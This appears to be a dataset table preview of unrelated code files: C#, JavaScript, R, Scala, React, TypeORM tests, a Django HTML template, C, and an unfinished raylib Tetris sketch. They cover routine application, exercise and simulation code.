text stringlengths 184 4.48M |
|---|
using AutoMapper;
using AutoMapper.QueryableExtensions;
using Helpdesk.Application.Exceptions;
using Helpdesk.Application.Interface;
using Helpdesk.Domain.Entities;
using Helpdesk.Models;
using MediatR;
using Microsoft.EntityFrameworkCore;
using System;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace Helpdesk.Application.BusinessLogic.UserBL.Query.GetById
{
public class GetUserbyIdQuery : IRequest<UserModel>
{
public Guid Id { get; set; }
public class Handler : IRequestHandler<GetUserbyIdQuery, UserModel>
{
private readonly IHelpdeskDbContext _context;
private readonly IMapper _mapper;
public Handler(IHelpdeskDbContext context, IMapper mapper)
{
_context = context;
_mapper = mapper;
}
public async Task<UserModel> Handle(GetUserbyIdQuery request, CancellationToken cancellationToken)
{
var entity = await _context.Set<User>()
.Where(r => r.UserId == request.Id)
.ProjectTo<UserModel>(_mapper.ConfigurationProvider)
.FirstOrDefaultAsync();
if (entity == null)
{
throw new NotFoundException(nameof(UserModel), request.Id);
}
return entity;
}
}
}
} |
"use strict";
// solved in < 40 minutes
/*
Problem: determine whether a string could be spelled using a set of "blocks"
input: a "word string" (could have upper or lowercase letters)
output: true or false
-true if can be spelled using the blocks
-each block has two letters. cannot use both letters from the same block.
-a word does not have to use all the blocks.
"Blocks":
B:O X:K D:Q C:P N:A
G:T R:E F:S J:W H:U
V:I L:Y Z:M
-no repeat letters, each block and each letter is unique
-contain all the letters of the alphabet
Data: given a string
-a word, i.e. no spaces or non-alphabetic characters, not empty (confirm?)
-solution is case-insensitive (consider them all uppercase)
-output is a boolean
-how to represent the blocks:
if an object of key/value pairs,
can easily find value letter on other side of key letter,
must be able to match value to key in reverse as well...
brute force method: list out full alphabet, match to each letter
Algorithm:
0. represent the blocks as an object of 26 letter pairs
1. for each letter in the input word:
1a. find the letter's counterpart on the other side of the block
object key value lookup
1b. confirm that no remaining letter in the word matches the counterpart
OR matches the current letter,
-restofword = slice(index + 1)
-check if restofwords.includes(letter counterpart) ||
restofword.includes(letter)
1c. return false if match found, otherwise continue iteration
2. return true unless early return of false occurred
*/
const BLOCKS = { // misleadingly suggests there are 26 blocks, 13 pairs
A: 'N', B: 'O', C: 'P', D: 'Q', E: 'R',
F: 'S', G: 'T', H: 'U', I: 'V', J: 'W',
K: 'X', L: 'Y', M: 'Z', N: 'A', O: 'B',
P: 'C', Q: 'D', R: 'E', S: 'F', T: 'G',
U: 'H', V: 'I', W: 'J', X: 'K', Y: 'L',
Z: 'M',
}; // works with my function, but this is not the clearest option
function isBlockWord(wordString) {
let uppercasedWord = wordString.toUpperCase();
for (let index = 0; index < wordString.length; index++) {
let letter = uppercasedWord[index];
let restOfWord = uppercasedWord.slice(index + 1);
if (restOfWord.includes(BLOCKS[letter]) || restOfWord.includes(letter)) {
return false;
}
}
return true;
}
// LS Solution:
/* eslint-disable */
function isBlockWord2(word) { // clever to simply put the letters together into strings!
const blocks = ['BO', 'XK', 'DQ', 'CP', 'NA', 'GT', 'RE', 'FS', 'JW', 'HU', 'VI', 'LY', 'ZM'];
const letters = word.split('');
for (let i = 0; i < letters.length; i += 1) {
let matchingBlock = blocks.filter(block => block.includes(letters[i].toUpperCase()))[0];
if (matchingBlock === undefined) { // from the attempted reference with `[0]` above
return false; // no block available for this letter, return false
} else {
blocks.splice(blocks.indexOf(matchingBlock), 1); // delete the block from the array
}
}
return true;
}
// LS Solution 2: condensed with regex but less readable
function isBlockWord3(word) {
const blocks = ['B:O', 'X:K', 'D:Q', 'C:P', 'N:A', 'G:T', 'R:E', 'F:S', 'J:W', 'H:U', 'V:I', 'L:Y', 'Z:M'];
const regExps = blocks.map(block => new RegExp(block.replace(':', '|'), 'gi')); // e.g. `/B|O/gi`
// match returns null if no match found. alt value of `[]` ensures no error with `.length`
return regExps.every(regExp => (word.match(regExp) || []).length < 2);
} // i.e. every regexp matches no more than once with the input word
// Examples / Test Cases:
console.log(isBlockWord('BATCH')); // true
console.log(isBlockWord('BUTCH')); // false [uses the U and H, which are on the same block]
console.log(isBlockWord('jest')); // true [case insensitive, lowercase okay]
console.log(isBlockWord('butch')); // false [can detect false with lowercase too]
console.log(isBlockWord('BABY')); // false [cannot use same block twice]
// other tests from the exercise page:
console.log(isBlockWord('floW')); // true
console.log(isBlockWord('APPLE')); // false
console.log(isBlockWord('apple')); // false
console.log(isBlockWord('apPLE')); // false
console.log(isBlockWord('Box')); // false |
library(foreach)
library(ltmle)
library(data.table)
library(tidyverse)
set.seed(100)
max_iter=200
##potential values of p, amounts of missingness
# p <- c(0,0.5,0.625,0.825,0.97,1)
p <- c(0)
##potential coefficient values for the L (strength of confounding)
c <- seq(1,10,2)
parameter_vals <- expand.grid(p,c)
##generate list of datasets
data_list <- foreach(j = 1:max_iter, .errorhandling = 'remove') %do% {
#source gen_data function
source("./functions/gen_data.R")
#gendata
ObsData <- gen_data(n=10000,p=p,missing=FALSE,intervene=NULL)
return(ObsData)
}
###Run analyses
########################
sys.start<-Sys.time()
results_summary <- foreach(j = 1:max_iter, .combine = 'bind_rows', .errorhandling = 'remove') %do% {
data <- data.table(data_list[[j]])
#source analysis function
source("./functions/run_analysis.R")
######################################
##option 1: use only baseline measure
######################################
ObsData1 <- copy(data[,-c("L2","delta2"),with=F])
results1 <- run_analysis(data=ObsData1,Lnodes=c("L1"),Cnodes=NULL,
str_name="1.baseline_only")
######################################
##option 2: LOCF (missing indicator)
######################################
ObsData2 <- copy(data)
setnames(ObsData2,"delta2","L2_2")
ObsData2[is.na(ObsData2$L2),L2:=L1]
table(is.na(ObsData2$L2))
results2 <- run_analysis(data=ObsData2,Lnodes=c("L1","L2","L2_2"),Cnodes=NULL,
str_name="2.lvcf")
######################################
##option 3: censoring when missing
######################################
ObsData3 <- (copy(data))
ObsData3[,C2:=BinaryToCensoring(is.censored=is.na(L2))]
table(ObsData3$C2,is.na(ObsData3$L2))
ObsData3[,delta2:=NULL]
setcolorder(ObsData3, c("L1", "A1", "Y2","C2", "L2", "A2", "Y3"))
#order data.table object
results3 <- run_analysis(data=ObsData3,Lnodes=c("L1","L2"),Cnodes=c("C2"),
str_name="3.censoring")
######################################
##option 4: making joint variable the tx (delta*Anodes)
######################################
ObsData4 <- (copy(data))
ObsData4[,delta2:=NULL]
ObsData4[,L2:=L1]
det_g_function <- function(data, current.node, nodes) {
if (names(data)[current.node] == "A1") {
return(NULL)
} else
if (names(data)[current.node] == "A2") {
det <- is.na(data$L1)
prob1 <- 0
} else {
stop("unexpected current.node")
}
return(list(is.deterministic=det, prob1=prob1))
}
results4 <- run_analysis(data=ObsData4,Lnodes=c("L1","L2"),Cnodes=NULL,
str_name="4.det_g",
deterministic.g.function=det_g_function)
res.ate <- rbind(results1,results2,results3,results4)
res.ate$iter <- j
return(res.ate)
}
sys.end<-Sys.time()
sys.end-sys.start
#################################################
#######hand calculate longitudinal gcomp
#################################################
#data_list <- foreach(j = 1:max_iter, .errorhandling = 'remove') %do% {
#source gen_data function
# source("./functions/gen_data.R")
#gendata
p=0.5
set.seed(2343)
ObsData <- gen_data(n=10000000,p=p,missing=TRUE,intervene=NULL)
#do LVCF imputation on L2
ObsData[is.na(L2),L2:=L1]
Y3 <- ObsData$Y3
A1 <- ObsData$A1
A2 <- ObsData$A2
L1 <- ObsData$L1
L2 <- ObsData$L2
delta2 <-ObsData$delta2
# return(ObsData)
#}
## condition on L1 only, Pr(Y3==1| L1)
(E_A1 = mean(Y3[A1 == 1 & A2 ==1 & L1 == 1])*mean(L1 == 1) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 ])*mean(L1 == 0 ) )
(E_A0 = mean(Y3[A1 == 0 & A2 ==0 & L1 == 1])*mean(L1 == 1) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0])*mean(L1 == 0 ))
(Psi1.P0_v1 = E_A1-E_A0)
## condition on L1 and L2, Pr(Y3==1| L1,L2)
(E_A1 = mean(Y3[A1 == 1 & A2 ==1 & L1 == 1 & L2 == 1],na.rm=T)*mean(L1 == 1 & L2 == 1) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 1 & L2 == 0])*mean(L1 == 1 & L2 == 0) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 & L2 == 1])*mean(L1 == 0 & L2 == 1) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 & L2 == 0])*mean(L1 == 0 & L2 == 0))
(E_A0 = mean(Y3[A1 == 0 & A2 ==0 & L1 == 1 & L2 == 1])*mean(L1 == 1 & L2 == 1) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 1 & L2 == 0])*mean(L1 == 1 & L2 == 0) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0 & L2 == 1])*mean(L1 == 0 & L2 == 1) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0 & L2 == 0])*mean(L1 == 0 & L2 == 0))
(Psi1.P0_v2 = E_A1-E_A0)
## condition on L1, L2, and delta2, Pr(Y3==1| L1,L2,delta2)
(E_A1 = mean(Y3[A1 == 1 & A2 ==1 & L1 == 1 & L2 == 1])*mean(L1 == 1 & L2 == 1 & delta2==1) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 1 & L2 == 0])*mean(L1 == 1 & L2 == 0 & delta2==1) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 & L2 == 1])*mean(L1 == 0 & L2 == 1 & delta2==1) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 & L2 == 0])*mean(L1 == 0 & L2 == 0 & delta2==1)+
mean(Y3[A1 == 1 & A2 ==1 & L1 == 1 & L2 == 1])*mean(L1 == 1 & L2 == 1 & delta2==0) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 1 & L2 == 0])*mean(L1 == 1 & L2 == 0 & delta2==0) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 & L2 == 1])*mean(L1 == 0 & L2 == 1 & delta2==0) +
+ mean(Y3[A1 == 1 & A2 ==1 & L1 == 0 & L2 == 0])*mean(L1 == 0 & L2 == 0 & delta2==0))
(E_A0 = mean(Y3[A1 == 0 & A2 ==0 & L1 == 1 & L2 == 1])*mean(L1 == 1 & L2 == 1 & delta2==1) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 1 & L2 == 0])*mean(L1 == 1 & L2 == 0 & delta2==1) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0 & L2 == 1])*mean(L1 == 0 & L2 == 1 & delta2==1) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0 & L2 == 0])*mean(L1 == 0 & L2 == 0 & delta2==1)+
mean(Y3[A1 == 0 & A2 ==0 & L1 == 1 & L2 == 1])*mean(L1 == 1 & L2 == 1 & delta2==0) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 1 & L2 == 0])*mean(L1 == 1 & L2 == 0 & delta2==0) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0 & L2 == 1])*mean(L1 == 0 & L2 == 1 & delta2==0) +
+ mean(Y3[A1 == 0 & A2 ==0 & L1 == 0 & L2 == 0])*mean(L1 == 0 & L2 == 0 & delta2==0))
(Psi1.P0_v3 = E_A1-E_A0)
#################################################
#######truth calculation based on large dataset
#################################################
set.seed(100)
data_a1 <- gen_data(1000000,p=p,missing=F,intervene=1)
data_a0 <- gen_data(1000000,p=p,missing=F,intervene=0)
E_A1<- mean(data_a1$Y3)
E_A0<- mean(data_a0$Y3)
(Psi1.P0 = E_A1-E_A0)
psi0_ests <- cbind(rbind("sim counterfactuals",
"L1 only",
"L1,L2",
"L1,L2,delta")
,rbind(Psi1.P0,
Psi1.P0_v1
,Psi1.P0_v2
,Psi1.P0_v3))
#################################################
#################################################
library(ggplot2)
results_summary <- data.table(results_summary)
ggplot(results_summary,aes(x=ate,y=analysis))+geom_jitter(height=.1)+
geom_vline(xintercept=Psi1.P0)+theme_classic()+xlab("ATE point estimates (200 iterations)")
ggsave(paste0('./output/nodelta_scatter_',p,'.png'))
#bias,coverage, mse
get_sim_stats <- results_summary[,coverage:=ifelse(ate.ci.lb<Psi1.P0 & ate.ci.ub>Psi1.P0,1,0)]
(tab <- results_summary%>%group_by(analysis)%>% summarise(bias=mean(ate)-Psi1.P0,
#mean_sd=mean(ate.sd),
mse=mean((ate-Psi1.P0)^2),
coverage=mean(coverage)))#,
#oracle_coverage=)
print(xtable::xtable(tab,type='latex',caption="",digits=c(4,4,4,4,2)),file=paste0("./output/nodelta_sim_p",as.character(p),"_",as.character(Sys.Date()),".tex"))
} |
package ru.otus.sc.dao.impl.user
import java.util.UUID
import ru.otus.sc.model.{Role, User}
case class UserRow(
id: Option[UUID],
userName: String,
password: String,
firstName: String,
lastName: String,
age: Int
) {
def toUser(roles: Set[UUID]): User = User(id, userName, password, firstName, lastName, age, roles)
}
object UserRow extends ((Option[UUID], String, String, String, String, Int) => UserRow) {
def fromUser(user: User): UserRow =
UserRow(user.id, user.userName, user.password, user.firstName, user.lastName, user.age)
} |
import React, {useState, useEffect} from 'react';
import NavCard from './NavCard';
import '../../stylesheet/NavOptios.css';
const NavOptions = ({miPhones,redmiPhones,tv,laptop,fitnessAndLifeStyle,home,audio,accessories}) => {
//hooks
//const [state, setState] = useState(initState);
const [miPhoneToggle, setMiPhoneToggle] = useState(false);
const [redmiPhoneToggle,setRedmiPhoneToggle] = useState(false);
const [tvToggle,setTvToggle] = useState(false);
const [laptopToggle,setLaptopToggle] = useState(false);
const [fitnessToggle,setFitnessToggle] = useState(false);
const [homeToggle,setHomeToggle] = useState(false);
const [audioToggle,setAudioToggle] = useState(false);
const [accessoriesToggle,setAccessoriesToggle] = useState(false);
// useEffect(() => {
// effect
// return () => {
// cleanup
// }
// },[input]) run depends on update of input
useEffect(() => {
if(window.location.pathname === "/miphones"){
return setMiPhoneToggle(true)
}
if(window.location.pathname === "/redmiphones"){
return setRedmiPhoneToggle(true)
}
if(window.location.pathname === "/tv"){
return setTvToggle(true)
}
if(window.location.pathname === "/laptops"){
return setLaptopToggle(true)
}
if(window.location.pathname === "/lifestyle"){
return setFitnessToggle(true)
}
if(window.location.pathname === "/home"){
return setHomeToggle(true)
}
if(window.location.pathname === "/audio"){
return setAudioToggle(true)
}
if(window.location.pathname === "/accessories"){
return setAccessoriesToggle(true)
}
}, [])
return (
<div className='navOptions'>
{miPhoneToggle ? miPhones.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{redmiPhoneToggle? redmiPhones.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{tvToggle ? tv.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{laptopToggle ? laptop.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{fitnessToggle ? fitnessAndLifeStyle.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{homeToggle ? home.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{audioToggle ? audio.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
{accessoriesToggle ? accessories.map((item)=>(
<NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
)) : null }
</div>
);
};
export default NavOptions;
// import React, {useState, useEffect} from 'react';
// import NavCard from './NavCard.js';
// import '../../stylesheet/NavOptios.css';
// const NavOptions = ({miPhones,redmiPhones,tv,laptop,fitnessAndLifeStyle,home,audio,accessories}) => {
// const [miPhoneToggle, setMiPhoneToggle] = useState(false);
// const [redmiPhoneToggle,setRedmiPhoneToggle] = useState(false);
// const [tvToggle,setTvToggle] = useState(false);
// const [laptopToggle,setLaptopToggle] = useState(false);
// const [fitnessToggle,setFitnessToggle] = useState(false);
// const [homeToggle,setHomeToggle] = useState(false);
// const [audioToggle,setAudioToggle] = useState(false);
// const [accessoriesToggle,setAccessoriesToggle] = useState(false);
// useEffect(() => {
// if(window.location.pathname === "/miphones"){
// return setMiPhoneToggle(true)
// }
// if(window.location.pathname === "/redmiphones"){
// return setRedmiPhoneToggle(true)
// }
// if(window.location.pathname === "/tv"){
// return setTvToggle(true)
// }
// if(window.location.pathname === "/laptops"){
// return setLaptopToggle(true)
// }
// if(window.location.pathname === "/lifestyle"){
// return setFitnessToggle(true)
// }
// if(window.location.pathname === "/home"){
// return setHomeToggle(true)
// }
// if(window.location.pathname === "/audio"){
// return setAudioToggle(true)
// }
// if(window.location.pathname === "/accessories"){
// return setAccessoriesToggle(true)
// }
// }, [])
// return (
// <div className="navOptions">
// {miPhoneToggle? miPhones.map((item)=>(
// <NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {redmiPhoneToggle? redmiPhones.map((item)=>(
// <NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {tvToggle ? tv.map((item)=>(
// < NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {laptopToggle ? laptop.map((item)=>(
// <NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {fitnessToggle ? fitnessAndLifeStyle.map((item)=>(
// <NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {homeToggle ? home.map((item)=>(
// < NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {audioToggle ? audio.map((item)=>(
// <NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// {accessoriesToggle ? accessories.map((item)=>(
// <NavCard name={item.name} price={item.price} image={item.image} key={item.image} />
// )) : null }
// </div>
// )
// }
// export default NavOptions; |
import { Repository, createConnection, Connection } from 'typeorm';
import User from '../../../database/models/User';
import Barbershop from '../../../database/models/Barbershop';
import ServiceType from '../../../database/models/ServiceType';
import BarbershopService from '../../../database/models/BarbershopService';
describe('Barbershop data access', () => {
let connection: Connection;
let usersRepository: Repository<User>;
let shopsRepository: Repository<Barbershop>;
let serviceTypeRepository: Repository<ServiceType>;
let barbershopServiceRepository: Repository<BarbershopService>;
beforeAll(async () => {
connection = await createConnection();
await connection.runMigrations();
usersRepository = connection.getRepository(User);
shopsRepository = connection.getRepository(Barbershop);
serviceTypeRepository = connection.getRepository(ServiceType);
barbershopServiceRepository = connection.getRepository(BarbershopService);
});
afterEach(async () => {
await connection.query('delete from barbershop_services');
await connection.query('delete from service_types');
await connection.query('delete from barbershops');
await connection.query('delete from users');
});
afterAll(async () => {
await connection.close();
});
describe('CRUD', () => {
it('Should create serviceType', async () => {
const serviceType = serviceTypeRepository.create();
serviceType.title = 'haircut';
serviceType.description = 'A cut to your hair';
serviceType.logoUrl = 'a url to the logo';
await serviceTypeRepository.save(serviceType);
expect(serviceType).toHaveProperty('id');
expect(serviceType).toHaveProperty('title');
expect(serviceType).toHaveProperty('description');
expect(serviceType).toHaveProperty('logoUrl');
});
it('Should attach a service to a barbershop', async () => {
const user = usersRepository.create();
user.name = 'john doe';
user.email = 'johndoe@mail.com';
user.password = 'hash of an incredibly strong password';
await usersRepository.save(user);
const barbershop = shopsRepository.create();
barbershop.name = 'Awesome barbershop';
barbershop.owner = user;
barbershop.slogan = 'Your hair like crazy';
barbershop.description = 'A nice place to have a new stylishing haircut. Every day we design something new to everyday customers. You will never have the same hair twice in your life.';
barbershop.address = 'John doe street, 432. New Yooork';
await shopsRepository.save(barbershop);
const serviceType = serviceTypeRepository.create();
serviceType.title = 'haircut';
serviceType.description = 'A cut to your hair';
serviceType.logoUrl = 'a url to the logo';
await serviceTypeRepository.save(serviceType);
const service = barbershopServiceRepository.create();
service.type = serviceType;
service.provider = barbershop;
service.title = 'Haircut 1';
service.description = 'Simple Haircut';
service.logoUrl = 'custom logo to haircut';
service.price = 5000; /* R$50,00 */
service.status = 'enabled';
await barbershopServiceRepository.save(service);
expect(service).toHaveProperty('id');
expect(service).toHaveProperty('price', 5000);
expect(service).toHaveProperty('status', 'enabled');
expect(service).toHaveProperty('title', 'Haircut 1');
expect(service).toHaveProperty('description', 'Simple Haircut');
expect(service.provider.id).toBe(barbershop.id);
expect(service.type.id).toBe(serviceType.id);
});
it('Should attach several service to a barbershop', async () => {
const user = usersRepository.create();
user.name = 'john doe';
user.email = 'johndoe@mail.com';
user.password = 'hash of an incredibly strong password';
await usersRepository.save(user);
const barbershop = shopsRepository.create();
barbershop.name = 'Awesome barbershop';
barbershop.owner = user;
barbershop.slogan = 'Your hair like crazy';
barbershop.description = 'A nice place to have a new stylishing haircut. Every day we design something new to everyday customers. You will never have the same hair twice in your life.';
barbershop.address = 'John doe street, 432. New Yooork';
await shopsRepository.save(barbershop);
const serviceType = serviceTypeRepository.create();
serviceType.title = 'haircut';
serviceType.description = 'A cut to your hair';
serviceType.logoUrl = 'a url to the logo';
await serviceTypeRepository.save(serviceType);
const firstService = barbershopServiceRepository.create();
firstService.type = serviceType;
firstService.provider = barbershop;
firstService.description = 'Simple Haircut';
firstService.logoUrl = 'custom logo to haircut';
firstService.price = 5000; /* R$50,00 */
firstService.status = 'enabled';
await barbershopServiceRepository.save(firstService);
const secondService = barbershopServiceRepository.create();
secondService.type = serviceType;
secondService.provider = barbershop;
secondService.description = 'Stylishing Haircut';
secondService.logoUrl = 'custom logo to haircut';
secondService.price = 10000; /* R$100,00 */
secondService.status = 'enabled';
await barbershopServiceRepository.save(secondService);
expect(firstService.type).toEqual(secondService.type);
expect(secondService.provider.id).toBe(barbershop.id);
expect(secondService.type.id).toBe(serviceType.id);
});
it('Should change service type', async () => {
const user = usersRepository.create();
user.name = 'john doe';
user.email = 'johndoe@mail.com';
user.password = 'hash of an incredibly strong password';
await usersRepository.save(user);
const barbershop = shopsRepository.create();
barbershop.name = 'Awesome barbershop';
barbershop.owner = user;
barbershop.slogan = 'Your hair like crazy';
barbershop.description = 'A nice place to have a new stylishing haircut. Every day we design something new to everyday customers. You will never have the same hair twice in your life.';
barbershop.address = 'John doe street, 432. New Yooork';
await shopsRepository.save(barbershop);
const serviceType1 = serviceTypeRepository.create();
serviceType1.title = 'haircut';
serviceType1.description = 'A cut to your hair';
serviceType1.logoUrl = 'a url to the logo';
await serviceTypeRepository.save(serviceType1);
const serviceType2 = serviceTypeRepository.create();
serviceType2.title = 'haircut';
serviceType2.description = 'A cut to your hair';
serviceType2.logoUrl = 'a url to the logo';
await serviceTypeRepository.save(serviceType2);
const service = barbershopServiceRepository.create();
service.type = serviceType1;
service.provider = barbershop;
service.description = 'Simple Haircut';
service.logoUrl = 'custom logo to haircut';
service.price = 5000; /* R$50,00 */
service.status = 'enabled';
await barbershopServiceRepository.save(service);
service.type = serviceType2;
await barbershopServiceRepository.save(service);
expect(service.type.id).toEqual(serviceType2.id);
});
});
}); |
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{% block title %} Cars Multimarcas {% endblock %}</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
sans-serif;
background-color: #f7f7f7;
color: #333;
margin: 0;
padding: 0;
}
main {
margin-bottom: 5rem;
}
footer {
background-color: rgb(20, 117, 113);
color: #fff;
padding: 10px;
text-align: center;
position: fixed;
bottom: 0;
left: 0;
width: 100%;
transition: transform 0.3s;
animation-iteration-count: 1
}
footer p {
color: #fff;
text-decoration: none;
margin: 0 10px;
}
.footer-hidden {
transform: translateY(100%);
}
/* Estilo para telas menores, como smartphones */
@media (max-width: 768px) {
.navbar-brand {
font-size: 1.2rem;
margin-left: 0.5rem;
padding: 10px 1.5rem;
}
.nav-link {
font-size: 0.9rem;
}
}
/* Estilo para telas muito pequenas, como dispositivos móveis em modo retrato */
@media (max-width: 576px) {
.navbar-brand {
font-size: 1rem;
padding: 10px 1rem;
}
.nav-link {
font-size: 0.8rem;
}
}
</style>
</head>
<body>
<header>
<nav class="navbar navbar-expand-lg navbar-dark" style="background-color: rgb(20, 117, 113);">
<div class="container-fluid">
<a class="navbar-brand" href="{% url 'cars_list' %}" style="font-size: 1.4rem; font-weight: 650; color: #fff;">
<span style="color: #12f7ff;">Cars</span> Multimarcas
</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav"
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="{% url 'cars_list' %}">Início</a>
</li>
{% if user.is_authenticated %}
<li class="nav-item">
<a class="nav-link" href="{% url 'new_car' %}">Cadastrar Carro</a>
</li>
{% endif %}
<li class="nav-item">
<a class="nav-link" href="">Sobre Nós</a>
</li>
<li class="nav-item">
<a class="nav-link" href="">Contato</a>
</li>
{% if not user.is_authenticated %}
<li class="nav-item">
<a class="nav-link" href="{% url 'register' %}">Cadastre-se</a>
</li>
{% endif %}
{% if user.is_authenticated %}
<li class="nav-item">
<a class="nav-link" href="{% url 'logout' %}">Sair</a>
</li>
{% endif %}
</ul>
<ul class="navbar-nav ms-auto">
{% if user.is_authenticated %}
<li class="nav-item">
<a class="nav-link" style="text-decoration: none; font-size: .9rem; font-weight: 400; color: #fff;"
href="#">Olá, {{ user.username }}</a>
</li>
{% endif %}
{% if not user.is_authenticated %}
<li class="nav-item">
<a class="nav-link" href="{% url 'login' %}">Login</a>
</li>
{% endif %}
</ul>
</div>
</div>
</nav>
</header>
<main>
{% block content %}
{% endblock %}
</main>
<footer>
<p>© 2023 Cars Multimarcas</p>
</footer>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous">
</script>
<script>
document.addEventListener("DOMContentLoaded", function () {
let prevScrollPos = window.pageYOffset;
const footer = document.querySelector("footer");
window.onscroll = function () {
let currentScrollPos = window.pageYOffset;
if (prevScrollPos < currentScrollPos) {
// O usuário está rolando para baixo
footer.classList.remove("footer-hidden");
} else {
// O usuário está rolando para cima
footer.classList.add("footer-hidden");
}
prevScrollPos = currentScrollPos;
};
});
</script>
</body>
</html> |
/*
* File: c2ftable.c
* ----------------
* This program illustrates the use of functions by generating
* a table of Celsius to Fahrenheit conversions or opposite.
*/
#include <stdio.h>
#include "genlib.h"
/*
* Constants
* ---------
* LowerLimit -- Starting value for temperature table
* UpperLimit -- Final value for temperature table
* StepSize -- Step size between table entries
*/
#define LowerLimit 32
#define UpperLimit 100
#define StepSize 2
/* Function prototypes */
double CelsiusToFahrenheit(double c);
double FahrenheitToCelsius(double f);
/* Main program */
main()
{
int f;
printf("Fahrenheit to Celsius table.\n");
printf(" F C\n");
for(f = LowerLimit; f <= UpperLimit; f += StepSize)
{
printf("%3d %3.1f\n", f, FahrenheitToCelsius(f));
}
}
/*
* Function: CelsiusToFahrenheit
* Usage: f = CelsiusToFahrenheit(c);
* ----------------------------------
* This function returns the Fahrenheit equivalent of the Celsius
* temperature c.
*/
double CelsiusToFahrenheit(double c)
{
return (9.0 / 5.0 * c + 32);
}
/*
* Function: FahrenheitToCelsius
* Usage: c = FahrenheitToCelsius(f);
* ----------------------------------
* This function returns the Celsius equivalent of the Fahrenheit
* temperature f.
*/
double FahrenheitToCelsius(double f)
{
return ((f - 32.0) * 5.0 / 9.0);
} |
#include "raylib.h"
#include <time.h>
#include <stdlib.h>
//------------------------------------------------------------------------------------
// Program main entry point
//------------------------------------------------------------------------------------
int main(void)
{
// Initialization
//--------------------------------------------------------------------------------------
const int screenWidth = 400;
const int screenHeight = 800;
float tetraminosRadius = 20*sqrt(2);
const int squareSide = 40;
InitWindow(screenWidth, screenHeight, "raylib [core] example - basic window");
// spawn position
int tetraminosSpawnPosition[1] = { (int)squareSide/2, (int)squareSide/2 };
// colors matrix
int colors_matrix[9][19];
int r = 20;
int c = 10;
for(int i=0; i<r; ++i) {
for(int j=0; j<c; ++j) {
colors_matrix[i][j] = 0;
}
}
typedef struct
{
int row;
int col;
} tuple;
// tetraminus piece
// position of moving tetraminus
// Vector2 tetraminosPosition = { tetraminosRadius/2, tetraminosRadius/2 };
// Vector2 tetraminosPosition = { squareSide/2, squareSide/2 };
Vector2 tetraminosPosition = { 0, 0 };
// coordinate in i,j i row and j col
tuple tetraO[] = {{0,4},{0,5},{1,4},{1,5}};
tuple tetraI[] = {{0, 4}, {1, 4}, {2, 4}, {3, 4}};
int numberOfPieces=4;
SetTargetFPS(200); // Set our game to run at 60 frames-per-second
//--------------------------------------------------------------------------------------
// Main game loop
while (!WindowShouldClose()) // Detect window close button or ESC key
{
// Update
// move the tetraminos
//----------------------------------------------------------------------------------
if (IsKeyPressed(KEY_RIGHT) && tetraminosPosition.x < screenWidth - squareSide ) {
tetraminosPosition.x += 40.0f;
}
if (IsKeyPressed(KEY_LEFT) && tetraminosPosition.x >= squareSide) {
tetraminosPosition.x -= 40.0f;
}
// if (IsKeyDown(KEY_UP) && tetraminosPosition.y >= 0) {
// tetraminosPosition.y -= 40.0f;
// }
if (IsKeyPressed(KEY_DOWN) && tetraminosPosition.y < screenHeight - squareSide) {
tetraminosPosition.y += 40.0f;
}
